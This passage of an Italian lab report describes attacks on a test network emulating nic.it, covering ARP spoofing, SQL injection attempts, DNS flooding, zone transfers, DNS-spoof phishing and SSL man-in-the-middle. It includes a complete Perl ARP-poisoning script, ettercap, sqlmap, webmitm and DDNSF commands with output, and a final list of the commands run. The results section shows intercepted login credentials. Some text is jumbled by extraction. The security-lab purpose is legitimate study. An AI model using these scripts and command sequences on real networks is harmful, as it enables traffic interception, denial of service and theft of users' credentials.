commutato sta nel fatto che alle periferiche vengono inviati unicamente i pacchetti ad esse destinati, per cui i dispositivi promiscui non sono in grado di eseguire lo sniffing di altri pacchetti. Ma anche in un ambiente commutato vi sono modi astuti per eseguire lo sniffing di pacchetti dalle altre periferiche ; C’è un aspetto importante delle comunicazioni di rete che può essere manipolato per ottenere effetti interessanti: L’indirizzo di origine. Questi protocolli non consentono in alcun modo di verificare che l’indirizzo di origine presente in un pacchetto sia realmente l’indirizzo della macchina di origine. La tecnica di camuffamento di un indirizzo di origine in un pacchetto è nota come spoofing. In una prima fase, lo spoofing consiste nell’ascolto dei pacchetti in transito su una rete commutata. Gli altri due dettagli interessanti riguardano l’ARP. Per prima cosa, quando arriva una risposta ARP con un indirizzo IP già esistente nella cache ARP, il sistema ricevente scrive le nuove informazioni presenti nella risposta cancellando le precedenti informazioni sugli indirizzi MAC. Il secondo punto interessante è che i sistemi accetteranno una risposta ARP anche se non hanno inviato una richiesta ARP. Ciò in quanto le informazioni di stato sul traffico ARP non vengono conservate, perché ciò richiederebbe un’ulteriore quantità di memoria e renderebbe più complesso un protocollo progettato per essere improntato alla massima semplicità. Questi tre dettagli, quando vengono sfruttati in modo appropriato, possono consentire a un aggressore di sniffare il traffico di rete su una rete commutata mediante la cosiddetta tecnica del reindirizzamento ARP. 20 Poiché A e B incapsulano le rispettive intestazioni Ethernet dei pacchetti sulla base delle rispettive cache ARP, il traffico IP di A destinato a B viene in realtà inviato all’indirizzo MAC dell’aggressore, e viceversa. Lo switch filtra il traffico basandosi unicamente sull’indirizzo MAC; pertanto esso funzionerà come previsto, inoltrando il traffico IP di A a B, destinato all’indirizzo MAC dell’aggressore, alla porta dello stesso. Lo switch funziona correttamente ; sono le macchine bersagliate a essere ingannate e costrette a reindirizzare il loro traffico alla macchina dell’aggressore. DIROTTAMENTO RST Una forma molto semplice di dirottamento TCP/IP (in realtà un attacco DoS) implica l’iniezione di un pacchetto di reset (RST) che sembra autentico. Se l’origine è camuffata e il numero di acknowlegment è corretto, la parte ricevente riterrà che il mittente abbia effettivamente inviato il pacchetto di reset e resetterà la connessione. Tale risultato può essere ottenuto con tcpdump, awk e un tool di iniezione di pacchetti a riga di comando come nemesis. MITM Questa strategia si applica ai protocolli crittografici. L'aggressore imposta un server che risponde alle richieste dei client. Per esempio, si supponga che il server risponda ad una richiesta per https://www.nic.it: un utente che contatta questa macchina crede erroneamente di essere in contatto con nic.it. Nello stesso momento, l'aggressore contatta il vero nic.it fingendo di essere l'utente in questione. Il cracker recita così entrambi i ruoli: decodifica i dati in arrivo dall'utente e li codifica nuovamente per trasmetterli alla destinazione originaria. In teoria i protocolli crittografati possiedono difese contro questa attività: un server che afferma di essere nic.it deve anche provarlo. In pratica, però, gran parte degli utenti ignora questo fatto e gli attacchi MITM si sono dimostrati efficaci quando utilizzati sul campo. Capitolo: Parte seconda: PREREQUISITI Tcpdump –S –n –e –l “tcp*13+ & 16 == 16” 21 SQL INJECTION Capitolo: Parte seconda: PREREQUISITI La SQL injection è una tecnica dell'hacking mirata a colpire le applicazioni web che si appoggiano su un database di tipo SQL. Questo exploit sfrutta l'inefficienza dei controlli sui dati ricevuti in input ed inserisce codice maligno all'interno di una query SQL. Le conseguenze prodotte sono imprevedibili per il programmatore: l'Sql Injection permette al malintezionato di autenticarsi con ampi privilegi in aree protette del sito (ovviamente, anche senza essere in possesso delle credenziali d'accesso) e di visualizzare e/o alterare dati sensibili 22 STRUMENTI SOFTWARE Sqlmap Strumento automatico per attacchi di sql injection. ddnsf.tar ATTACCO DoS flodding Un potente attacco contro i server DNS. DDNSF manda tante query fino a rendere il servizio di DNS inutilizzabile. Se il software demone del DNS fa il log delle query incorrette (come molti fanno), gli effetti saranno più grandi. arpredirect.pl Uno script perl costruito ad hoc che si basa sulle funzionalità offerte da nemesis che permette di fare arp spoofing ma per questo come vedremo successivamente avremo anche potuto usate le potenzialità del tool Ettercap che si presta a meraviglia per attacchi di tipo MITM. Ettercap Wireshark Sniffer. Nemesis Tool di iniezione di pacchetti ARP camuffati Nikto Nikto è un web server scanner che permette di effettuare una moltitudine di test (di sicurezza ovviamente) su servizi web di varia natura e vendor. Ad oggi include qualcosa come 3500 scansioni verso file e CGI probabilisticamente dannosi, riesce a ricavare la tipologia di servizio e la versione di altre 900 daemon server testando 250 vulnerabilità specifiche per ciascuno di essi. Nessus Nessus è un programma open source rilasciato in licenza GPL di tipo client-server che tramite lo scan e l'abilitazione di plugin appositamente configurabili a seconda della tipologia di host e vulnerabilità che si andrà ad analizzare, rileva le vulnerabilità presenti suggerendo le possibili soluzioni creando report di facile analisi in vari formati (HTML , pdf, etc etc). Tutt'ora Nessus con le sue tante opzioni per la scansione , la possibilità di scrivere plugin e per il tipo di reportistica prodotta rimane uno dei migliori strumenti per vulnerability assessment. Capitolo: Parte seconda: PREREQUISITI E’ suite per attacchi man in the middle su LAN. E una soluzione modulare che sfrutta i plugin per l’aggiunta di nuovi tipologie di attacchi. 23 PARTE TERZA: ATTACCHI ED ESITI ATTACCO 1 : SQL INJECTION [root@localhost sqlmap]# python ./sqlmap.py -u https://www.nic.it/check_login.php --method=POST --data="userid=1&pwd=1" sqlmap/0.5 coded by inquis [email protected] and belch <[email protected]> [*] starting at: 15:23:46 [15:23:48] [WARNING] POST parameter 'pwd' is not dynamic [15:23:49] [WARNING] POST parameter 'userid' is not dynamic [15:23:49] [ERROR] all parameters are not injectable [root@localhost sqlmap]# python ./sqlmap.py -u https://www.nic.it/whois.php --method=POST -data="whois=camail.it" -v 1 [*] starting at: 15:29:01 [15:30:01] [INFO] testing if the url is stable, wait a few seconds [15:33:03] [INFO] url is stable [15:33:03] [INFO] testing if POST parameter 'whois' is dynamic [15:33:03] [INFO] confirming that POST parameter 'whois' is dynamic [15:33:03] [INFO] POST parameter 'whois' is dynamic [15:33:03] [INFO] testing sql injection on POST parameter 'whois' [15:33:03] [INFO] testing numeric/unescaped injection on POST parameter 'whois' [15:33:04] [INFO] POST parameter 'whois' is not numeric/unescaped injectable [15:33:04] [INFO] testing string/single quote injection on POST parameter 'whois' [15:33:04] [INFO] POST parameter 'whois' is not string/single quote injectable [15:33:04] [INFO] testing string/double quotes injection on POST parameter 'whois' [15:33:04] [INFO] POST parameter 'whois' is not string/double quotes injectable [15:33:04] [WARNING] POST parameter 'whois' is not injectable [15:33:04] [ERROR] 'NoneType' object is not iterable [*] shutting down at: 15:33:04 [*] shutting down at: 15:23:49 ESITO 1 : SQL INJECTION (FAILED) L’attacco non è praticabile perché la validazione è fatta lato server e gli input dati dall’utente sono stati filtrati tramite espressioni regolari che escludono il carattere apice, doppia apice e altri caratteri che invece avrebbero permesso questo tipo di attacco. Capitolo: Parte terza: ATTACCHI ED ESITI sqlmap/0.5 coded by inquis [email protected] and belch <[email protected]> 24 ATTACCO 2 : DOS 1 (NEGAZIONE DI ACCESSO AL SERVIZIO DNS) Mostriamo per prima cosa il codice di arpredirect.pl che ci servirà per questo tipo di attacco. Reperisce le informazioni della vittima e tramite nemesis infetta la loro cache arp. #!/usr/bin/perl $device = "eth0"; $SIG{INT} = \&cleanup; $flag = 1; $gw = shift; $targ = shift; comando if { # trappola per ctrl-C e invio a cleanup # primo arg della riga di comando #secondo arg della riga di (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/) #effettua validazione input; se non valido, esci. die("USAGE: ARPREDIRECT.PL <GATEWAY> <target>\n"); } #Invia rapidamente ping a ogni detinazione per inserire indirizzi mac nella cache print "Ping di $gw e $targ per recuperare indirizzi MAC...\n"; system("ping -q -c 1 -w 1 $gw > /dev/null"); system("ping -q -c 1 -w 1 $targ > /dev/null"); #estrai questi indirizzi da cache arp print "Recupero indirizzi MAC da cache arp....\n"; $gw_mac = qx[/sbin/arp -na $gw]; $gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17); $targ_mac = qx[/sbin/arp -na $targ]; $targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17); # se non ci sono entrambi, esci. if ($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/){ die("MAC address of $gw not found.\n"); } if ($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/){ die("MAC address of $targ not found.\n"); } #ACQUISISCI IL TUO IP E MAC print "Recupero info del tuo IP e MAC da ifconfig...\n"; @ifconf = split(" ", qx[/sbin/ifconfig $device]); $me = substr(@ifconf[6],5); $me_mac = @ifconf[4]; print "[*] Gateway : print "[*] Target : print "[*] You : while ($flag) { $gw is at $gw_mac\n"; $targ is at $targ_mac\n"; $me is at $me_mac\n"; Capitolo: Parte terza: ATTACCHI ED ESITI # se non ci sono entrambi, esci. 25 #Continua ad avvelenare la fino a cntrl-C print "Reindirizzamento: $gw -> $me_mac <- $targ"; system ("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $targ_mac"); system ("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac H $me_mac -M $gw_mac"); sleep 10; } sub cleanup { #RIPRISTINA SITUAZIONE NORMALE $flag = 0; print "Cntrl-C captato, uscita in modo ortodosso.\nRispristino situazione normale della cache arp."; system ("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac"); system ("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac"); } ADESSO LANCIAMO QUESTO SCRIPT : [root@localhost SPOOFING]# ./arpredirect.pl 192.168.0.2 192.168.0.5 Ping di 192.168.0.2 e 192.168.0.5 per recuperare indirizzi MAC... Recupero indirizzi MAC da cache arp.... Recupero info del tuo IP e MAC da ifconfig... [*] Gateway : 192.168.0.2 is at 00:50:BA:C7:CC:A1 [*] Target : 192.168.0.5 is at 00:00:E8:7D:7F:65 [*] You : 192.168.0.67 is at 00:1B:38:AA:21:26 Reindirizzamento: 192.168.0.2 -> 00:1B:38:AA:21:26 <- 192.168.0.5 ARP Packet Injected ARP Packet Injected ARP Packet Injected ARP Packet Injected Reindirizzamento: 192.168.0.2 -> 00:1B:38:AA:21:26 <- 192.168.0.5 ARP Packet Injected ARP Packet Injected ………………………. Capitolo: Parte terza: ATTACCHI ED ESITI Reindirizzamento: 192.168.0.2 -> 00:1B:38:AA:21:26 <- 192.168.0.5 26 Quello che si fa in questo attacco è che il malintenzionato (192.168.0.67) finge di essere la macchina 192.168.0.2 (SPOFFING) che offre un servizio DNS e la vittima 192.168.0.5 pensando di collegarsi al servizio DNS chiederà in maniera inconsapevole al malintenzionato di usufruire dei servizi offerti da 192.168.0.2. Il malintenzionato in questo modo precluderà l’accesso alla rete alla macchina 192.168.0.5. Una cosa che si potrebbe fare e lo vedremo nei prossimi attacchi è quello di configurare la macchina del malintenzionato 192.168.0.67 come DNS secondario per cercare di rimpiazzare il servizio legittimo di 192.168.0.2. ESITO2 : DOS 1 (SUCCESS) Preclude l’accesso alla rete alla macchina vittima 192.168.0.5 ATTACCO 3 : DDOS 2 (DEGRADAZIONE DEL SERVIZIO DNS – ATTACCO FLODDING DISTRIBUITO) Questo programma già fatto è reperibile su http://packetstormsecurity.com [root@localhost ddnsf]# ./DDNSF_server & [5] 24712 [root@localhost ddnsf]# ./DDNSF_client start zombie.txt 192.168.0.2 Distributed DNS Floder v0.1b by Extirpater Sending request to 192.168.0.67 Sending request to 192.168.0.5 ESITO 3: DDOS 2 (SUCCESS) Capitolo: Parte terza: ATTACCHI ED ESITI L’effetto ottenuto è il degrado graduale delle prestazioni del server DNS e l’effetto diventa più grande installando DDNSF_server su quante più macchine è possibile. 27 ATTACCHI SPECIFICI AL DNS ATTACCO 1 : TENTATIVO DI TRASFERIMENTO DELLE ZONE DEL DNS Questo attacco è inteso per sostituire in maniera completa il server DNS legittimo. Per prima cosa ho installato BIND per il servizio di naming e configurato la mia macchina come un DNS secondario . Il file named.conf è il seguente : options { directory "/var/named"; pid-file "/var/run/named/named.pid"; auth-nxdomain yes; datasize default; allow-recursion { 127.0.0.1;192.168.0.67; }; }; zone "." IN { type hint; file "root.hint"; }; zone "nic.it" { type slave; file "nic.zone"; masters { 192.168.0.2; }; allow-query { any; }; allow-transfer { any; }; logging { channel xfer-log { file "/var/log/named.log"; print-category yes; print-severity yes; print-time yes; severity info; }; category xfer-in { xfer-log; }; category xfer-out { xfer-log; }; category notify { xfer-log; }; }; A questo punto faccio partire il servizio: /etc/rc.d/named restart Capitolo: Parte terza: ATTACCHI ED ESITI }; 28 ESITO 1 : TENTATIVO DI TRASFERIMENTO DELLE ZONE DEL DNS (FAILED) In nic.zone vengono salvate le seguenti informazioni $ORIGIN . $TTL 86400 nic.it $ORIGIN nic.it. linux ns whois www ; 1 day IN SOA NS A nic.it. root.nic.it. ( 2008052731 ; serial 43200 ; refresh (12 hours) 3600 ; retry (1 hour) 1209600 ; expire (2 weeks) 3600 ; minimum (1 hour) ) ns.nic.it. 192.168.0.2 A A A A 192.168.0.2 192.168.0.2 192.168.0.2 192.168.0.2 Notiamo che in error.log ci sono queste informazioni Jun 25 19:57:49 localhost named[5861]: zone nic.it/IN: has 0 SOA records Jun 25 19:57:49 localhost named[5861]: zone nic.it/IN: has no NS records E in named.log : 25-Jun-2008 19:58:43.783 xfer-in: error: transfer of 'nic.it/IN' from 192.168.0.2#53: failed while receiving responses: REFUSED 25-Jun-2008 19:58:43.783 xfer-in: info: transfer of 'nic.it/IN' from 192.168.0.2#53: end of transfer 25-Jun-2008 19:58:45.204 notify: info: zone nic.it/IN: sending notifies (serial 2008052731) Si presume che gli amministratori del NIC abbiano configurato il loro servizio DNS in modo da non permettere il trasferimento di zone. Ho cercato di trasferire le zone anche tramite le utilities di BIND ma il risultato è stato NOAUTH e transfert failed. [root@localhost angelo]# host -lv -t any www.nic.it Trying "www.nic.it" ; Transfer failed. Trying "www.nic.it" Host www.nic.it not found: 9(NOTAUTH) ; Transfer failed. Capitolo: Parte terza: ATTACCHI ED ESITI Dai file di log scopriamo che non si riescono a scaricare le informazioni riguardanti le zone memorizzate nel DNS e il database delle zone contenute in NIC è vuoto. 29 [root@localhost angelo]# host -lv -t any nic.it Trying "nic.it" ; Transfer failed. Trying "nic.it" Host nic.it not found: 5(REFUSED) ; Transfer failed. [root@localhost angelo]# dig [email protected] nic.it axfr ; <<>> DiG 9.4.2 <<>> [email protected] nic.it axfr ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1141 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 0 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;192.168.0.2\@nic.it. ;; AUTHORITY SECTION: . . . . . . . . . . . . . A IN IN IN IN IN IN IN IN IN IN IN IN IN NS NS NS NS NS NS NS NS NS NS NS NS NS A.ROOT-SERVERS.NET. B.ROOT-SERVERS.NET. C.ROOT-SERVERS.NET. D.ROOT-SERVERS.NET. E.ROOT-SERVERS.NET. F.ROOT-SERVERS.NET. G.ROOT-SERVERS.NET. H.ROOT-SERVERS.NET. I.ROOT-SERVERS.NET. J.ROOT-SERVERS.NET. K.ROOT-SERVERS.NET. L.ROOT-SERVERS.NET. M.ROOT-SERVERS.NET. Query time: 2 msec SERVER: 192.168.0.2#53(192.168.0.2) WHEN: Thu Jun 26 15:37:26 2008 MSG SIZE rcvd: 247 nic.it. 86400 IN SOA 2008052731 43200 3600 1209600 3600 nic.it. 86400 IN NS nic.it. 86400 IN A linux.nic.it. 86400 IN A ns.nic.it. 86400 IN A whois.nic.it. 86400 IN A www.nic.it. 86400 IN A nic.it. 86400 IN SOA 2008052731 43200 3600 1209600 3600 ;; Query time: 0 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Thu Jun 26 15:37:26 2008 ;; XFR size: 8 records (messages 1, bytes 214) nic.it. root.nic.it. ns.nic.it. 192.168.0.2 192.168.0.2 192.168.0.2 192.168.0.2 192.168.0.2 nic.it. root.nic.it. Capitolo: Parte terza: ATTACCHI ED ESITI ;; ;; ;; ;; 518400 518400 518400 518400 518400 518400 518400 518400 518400 518400 518400 518400 518400 IN 30 ATTACCO 2 : MITM + DNS SPOOFING PHISHING L’attacco è rivolto a tutte le macchine della sottorete che vorranno accedere a www.nic.it. Questo attacco consiste nel redirezionare la richiesta delle vittime vorrebbero accedere al sito www.nic.it, ad un sito maligno contenuto sulla macchina dell’attaccante (in questo caso 192.168.0.67). Bisogna per prima cosa modificare il file etter.dns in modo da ridirezionare in questo le richieste fatte per www.nic.it all’indirizzo ip del malintenzionato che avrà installato sulla sua macchina un web server che presenterà una pagina web uguale a quella del sito che si vorrebbe visitare. nic.it *.nic.it www.nic.it A 192.168.0.67 A 192.168.0.67 PTR 192.168.0.67 # Wildcards in PTR are not allowed ########################################## # no one out there can have our domains... # www.alor.org www.naga.org A 127.0.0.1 A 127.0.0.1 ############################################### # one day we will have our ettercap.org domain # www.ettercap.org ettercap.sourceforge.net A A 127.0.0.1 216.136.171.201 ############################################### # some MX examples # alor.org naga.org MX MX 127.0.0.1 127.0.0.1 ############################################### # This messes up NetBIOS clients using DNS # resolutions. I.e. Windows/Samba file sharing. # WINS 127.0.0.1 # vim:ts=8:noexpandtab Capitolo: Parte terza: ATTACCHI ED ESITI LAB-PC* 31 [root@localhost angelo]# ettercap -Tq -M arp -P dns_spoof /192.168.0.2/ // ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> 00:1B:38:AA:21:26 192.168.0.67 255.255.255.0 Privileges dropped to UID 0 GID 0... plugin ec_hunter.so cannot be loaded... 28 plugins 39 protocol dissectors 53 ports monitored 7587 mac vendor fingerprint 1698 tcp OS fingerprint 2183 known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 3 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.0.2 00:1B:38:AA:21:26 GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Activating dns_spoof plugin... dns_spoof: [www.nic.it] spoofed to [192.168.0.67] Closing text interface... ESITO 2 : MITM + DNS SPOOFING PHISHING (SUCCESS) Questo attacco è risultato vincente perché le persone credendo di aver avuto accesso al servizio legale, inseriranno le proprie credenziali di accesso nel campo login, e la pagina check_login.php del malintenzionato, che verrà richiamato nel momento del submit delle informazioni, contiene codice php che prende i dati inseriti dall’utente e li scrive in un file e in modo comodo l’attaccante avrà le credenziali di accesso dei poveri malcapitati . Capitolo: Parte terza: ATTACCHI ED ESITI ARP poisoner deactivated. RE-ARPing the victims... Unified sniffing was stopped. 32 ATTACCO 3 : MITM + ARP POISON SSL HACKING Quando un client normalmente accede ad una pagina web usando HTTPS, il client e il server creano un tunnel cifrato SSL attraverso il quale passato il dati HTTP . Se il traffico è catturato da una terza parte , i dati che riceverà saranno illeggibili. (In condizioni normali ). Qui di seguito mostriamo una versione di come un tunnel SSL è creato. 1. Il browser del client richiede una pagina web sicura. 2. Il web server invia il certificato del sito web al browser 3. Il browser valuta la validità del certificato 4. Se il certificato è valido, il browser genera una chiave di sessione, e la cifra con la chiave pubblica del certificato server, e lo invia al server. 5. Il server decifra la chiave della sessione 6. Entrambe le parti usano la chiave simmetrica della sessione per cifrare la comunicazione http La validità del certificato dipende da tre cose : 1. Il certificato deve essere firmato da una autorità di certificazione fidata, come Verisign. 2. Il certificato non deve aver passato il suo tempo di scadenza. 3. Il nome dell’host nel certificato deve fare match con il nome del sito web che il browser aspetta di mostrare. Capitolo: Parte terza: ATTACCHI ED ESITI Se una di queste tre condizioni viene violata il browser, mostra una dialog box che spiega l‘errore, e chiede il permesso all’utente di continuare a stabilire la sessione SSL usando il certificato in questo caso sospetto. Generalmente le persone non ci fanno nemmeno caso a questi messaggi come succede con la nostra piattaforma Rp platform che ci dice che il certificato non è valido e il browser ci consiglia di non continuare . Quindi questo tipo di attacco avrà sicuramente successo dipende anche dall’esperienza e prudenza del navigatore di non accettare un certificato sospetto. 33 Dopo l’infettazione della cache ARP il computer della vittima e il gateway, ettercap riuscirà ad intercettare le richieste SSL della vittima, e presenterà al browser della vittima un falso certificato. Se la vittima accetta il certificato non valido, ettercap stabilisce un tunnel SSL dalla vittima a se stesso, mascherandosi come un web server sicuro. Poi stabilisce un secondo tunnel SSL al web server reale, presentandosi come un client SSL. A questo punto l’attaccante potrà decriptare il traffico HTTPS della vittima, e poi inviarlo di nuovo cifrato al vero web server. I tool necessari sono : ssldump : che va a decriptare i dati sniffati ssl usando il nostro certificato falso che abbiamo spacciato per quello della vittima. Webmitm : genera un certificato che verrà spacciato per quello della vittima e sarà usato per instaurare il tunnel ssl con la destinazione. Fa da proxy e sniffa traffico HTTP / HTTPS . Ettercap : tool per attacchi generici specializzato per attacchi MITM usato in questo caso per infettare la cache arp delle macchine vittime <-> 192.168.0.2(443) <-> 192.168.0.2(443) client hello client hello Capitolo: Parte terza: ATTACCHI ED ESITI [root@localhost]# ssldump New TCP connection #116: 192.168.0.42(58836) New TCP connection #117: 192.168.0.67(47554) 116 1 0.0010 (0.0010) C>S SSLv2 compatible Version 3.0 cipher suites SSL2_CK_RC4 SSL2_CK_RC2 SSL2_CK_3DES SSL2_CK_DES SSL2_CK_RC4_EXPORT40 SSL2_CK_RC2_EXPORT40 Unknown value 0x39 Unknown value 0x38 Unknown value 0x35 Unknown value 0x33 Unknown value 0x32 SSL_RSA_WITH_RC4_128_MD5 SSL_RSA_WITH_RC4_128_SHA Unknown value 0x2f SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA Unknown value 0xfeff SSL_RSA_WITH_3DES_EDE_CBC_SHA SSL_DHE_RSA_WITH_DES_CBC_SHA SSL_DHE_DSS_WITH_DES_CBC_SHA Unknown value 0xfefe SSL_RSA_WITH_DES_CBC_SHA SSL_RSA_EXPORT1024_WITH_RC4_56_SHA SSL_RSA_EXPORT1024_WITH_DES_CBC_SHA SSL_RSA_EXPORT_WITH_RC4_40_MD5 SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5 117 1 0.0501 (0.0501) C>S SSLv2 compatible Version 3.1 cipher suites Unknown value 0x39 Unknown value 0x38 Unknown value 0x35 TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 34 TLS_RSA_WITH_3DES_EDE_CBC_SHA SSL2_CK_3DES Unknown value 0x33 Unknown value 0x32 Unknown value 0x2f TLS_RSA_WITH_IDEA_CBC_SHA SSL2_CK_IDEA SSL2_CK_RC2 TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_RC4_128_MD5 SSL2_CK_RC4 TLS_DHE_RSA_WITH_DES_CBC_SHA TLS_DHE_DSS_WITH_DES_CBC_SHA TLS_RSA_WITH_DES_CBC_SHA SSL2_CK_DES TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA TLS_RSA_EXPORT_WITH_DES40_CBC_SHA TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 SSL2_CK_RC2_EXPORT40 TLS_RSA_EXPORT_WITH_RC4_40_MD5 SSL2_CK_RC4_EXPORT40 117 2 0.1623 (0.1122) S>C Handshake ServerHello Version 3.1 session_id[0]= 117 117 117 117 117 117 117 116 116 116 116 117 117 Unknown value 0x39 NULL Handshake Handshake Handshake Handshake ChangeCipherSpec Handshake ChangeCipherSpec Handshake Handshake 84 50 67 67 48 a7 35 f7 ba ab ca bd 8b 78 69 3e c8 01 38 3f Unknown value 0x35 NULL Handshake Handshake TCP FIN TCP FIN Alert Capitolo: Parte terza: ATTACCHI ED ESITI 117 cipherSuite compressionMethod 3 0.1623 (0.0000) S>C Certificate 4 0.1623 (0.0000) S>C ServerKeyExchange 5 0.1623 (0.0000) S>C ServerHelloDone 6 0.2140 (0.0516) C>S ClientKeyExchange 7 0.2140 (0.0000) C>S 8 0.2140 (0.0000) C>S 9 0.2472 (0.0332) S>C 10 0.2472 (0.0000) S>C 2 0.2674 (0.2664) S>C ServerHello Version 3.0 session_id[32]= 66 ff 1b d6 23 be 7e 27 49 55 38 1e cipherSuite compressionMethod 3 0.2674 (0.0000) S>C Certificate 4 0.2674 (0.0000) S>C ServerHelloDone 5.3247 (5.0572) S>C 5.3243 (5.0770) C>S 11 5.3249 (0.0006) S>C 35 [root@localhost home]# webmitm Generating RSA private key, 1024 bit long modulus .....++++++ ...........................................++++++ e is 65537 (0x10001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----Country Name (2 letter code) [AU]:it State or Province Name (full name) [Some-State]:salerno Locality Name (eg, city) []:unisa Organization Name (eg, company) [Internet Widgits Pty Ltd]:unisa Organizational Unit Name (eg, section) []:unisa Common Name (eg, YOUR name) []:unisa Email Address []:[email protected] Capitolo: Parte terza: ATTACCHI ED ESITI Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: Signature ok subject=/C=it/ST=salerno/L=unisa/O=unisa/OU=unisa/CN=unisa/emailAddress=unisa@un isa.it Getting Private key webmitm: certificate generated webmitm: relaying transparently 36 COMANDO DA LANCIARE ETTERCAP ettercap -Tq -M arp:remote /$IPgateway/ -P autoadd [root@localhost angelo]# ettercap -Tq -M arp /192.168.0.2/ // -P autoadd ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> 00:1B:38:AA:21:26 192.168.0.67 255.255.255.0 Privileges dropped to UID 0 GID 0... 28 39 53 7587 1698 2183 plugins protocol dissectors ports monitored mac vendor fingerprint tcp OS fingerprint known services Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 3 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.0.2 00:50:BA:C7:CC:A1 GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help HTTP : 192.168.0.2:80 -> USER: wew PASS: ewew INFO: http://www.nic.it/ HTTP : 192.168.0.2:443 -> USER: 34 PASS: 34 INFO: https://www.nic.it/ HTTP : 192.168.0.2:80 -> USER: a PASS: b INFO: http://www.nic.it/ Con questo metodo recuperiamo tutti i dati di accesso dei malcapitati selezionati. Come abbiamo visto sia su connessioni HTTP che HTTPS . Capitolo: Parte terza: ATTACCHI ED ESITI ESITO 3 : MITM + ARP POISON SSL HACKING (SUCCESS) 37 PARTE QUARTA: NOTE PROBLEMA CONFIGURAZIONE WIRELESS SOTTO LINUX (WPA_SUPPLICANT) Il file di esempio di scrittura del file di configurazione di wpa_supplicant per autenticazione RADIUS aveva una parametro errato che non mi permetteva di concludere l’autenticazione con l’AP. Cosa che con windows funzionava, su questo devo dirlo (se pur con rammarico), windows - linux 1 a 0 in questa partita . Di seguito sono mostrati i parametri di connessione che ci interessano per collegarci al servizio offerto dal gruppo NIC preso da wpa_supplicant.conf di esempio. In grassetto è evidenziato il parametro incriminato che precludeva l’esito positivo dell’autenticazione Capitolo: Parte QUARTA: Note # EAP-PEAP/MSCHAPv2 configuration for RADIUS servers that use the new peaplabel # (e.g., Radiator) network={ ssid="example" key_mgmt=WPA-EAP eap=PEAP identity="[email protected]" password="foobar" ca_cert="/etc/cert/ca.pem" phase1="peaplabel=1" phase2="auth=MSCHAPV2" priority=10 } 38 File corretto per la connessione all’AP . ctrl_interface_group=0 # general options # Don't change this path to something else: ctrl_interface=/var/run/wpa_supplicant # Give everyone in the group "users" access to the control interface # required if you want to dynamically configure the network via wpa_cli or wpa_gui without being root ctrl_interface_group=users eapol_version=2 ap_scan=1 fast_reauth=1 Capitolo: Parte QUARTA: Note #P-PEAP/MSCHAPv2 configuration for RADIUS servers that use the new peaplabel # (e.g., Radiator) network={ ssid="SalernoFly" key_mgmt=WPA-EAP eap=PEAP pairwise=TKIP group=TKIP identity="provaprova" password="provaprova" ca_cert="/etc/cert/ca.pem" phase1="peapver=0" proto=WPA phase2="auth=MSCHAPV2" priority=10 } 39 NOTE : COMANDI ESEGUITI DIRECTORY /home/angelo/Desktop/SR_HACK/SR_HACK/ATTACCHI/ 1 ATTACCO SQL-INJECTION cd /home/angelo/Desktop/SR_HACK/SR_HACK/ATTACCHI/sqlinjection/sqlmap python ./sqlmap.py -u https://www.nic.it/whois.php --method=POST --data="whois=camail.it" -v 1 python ./sqlmap.py data="userid=camail&pwd=1" -u https://www.nic.it/check_login.php --method=POST -- 2 ATTACCO DOS 1 cd /home/angelo/Desktop/SR_HACK/SR_HACK/ATTACCHI/SPOOFING/ echo 0 > /proc/sys/net/ipv4/ip_forward iptables -F -t nat ./arpredirect 192.168.0.2 192.168.0.5 3 ATTACCO DDOS 1 cd /home/angelo/Desktop/SR_HACK/SR_HACK/ATTACCHI/DOS/ddnsf ./DDNSF_server & ./DDNSF_client start zombie.txt 192.168.0.5 4 ATTACCO TRASFERIMENTO DI ZONE dig [email protected] nic.it axfr 5 PHISHING /opt/lampp/lampp start ettercap -Tq -M arp -P dns_spoof /192.168.0.2/ /192.168.0.5/ Capitolo: NOTE : COMANDI ESEGUITI ./DDNSF_client stop zombie.txt 192.168.0.5 40 6 SSL HACKING !echo 1 > /proc/sys/net/ipv4/ip_forward iptables -F -t nat ettercap -Tq -M arp /192.168.0.2/ // RIFERIMENTI 1. Hack Proofing – HANDBOOK SECONDA EDIZIONE 2. L'ARTE DELL'HACKING. - LE IDEE, GLI STRUMENTI, LE TECNICHE DEGLI HACKER john erickson 3. 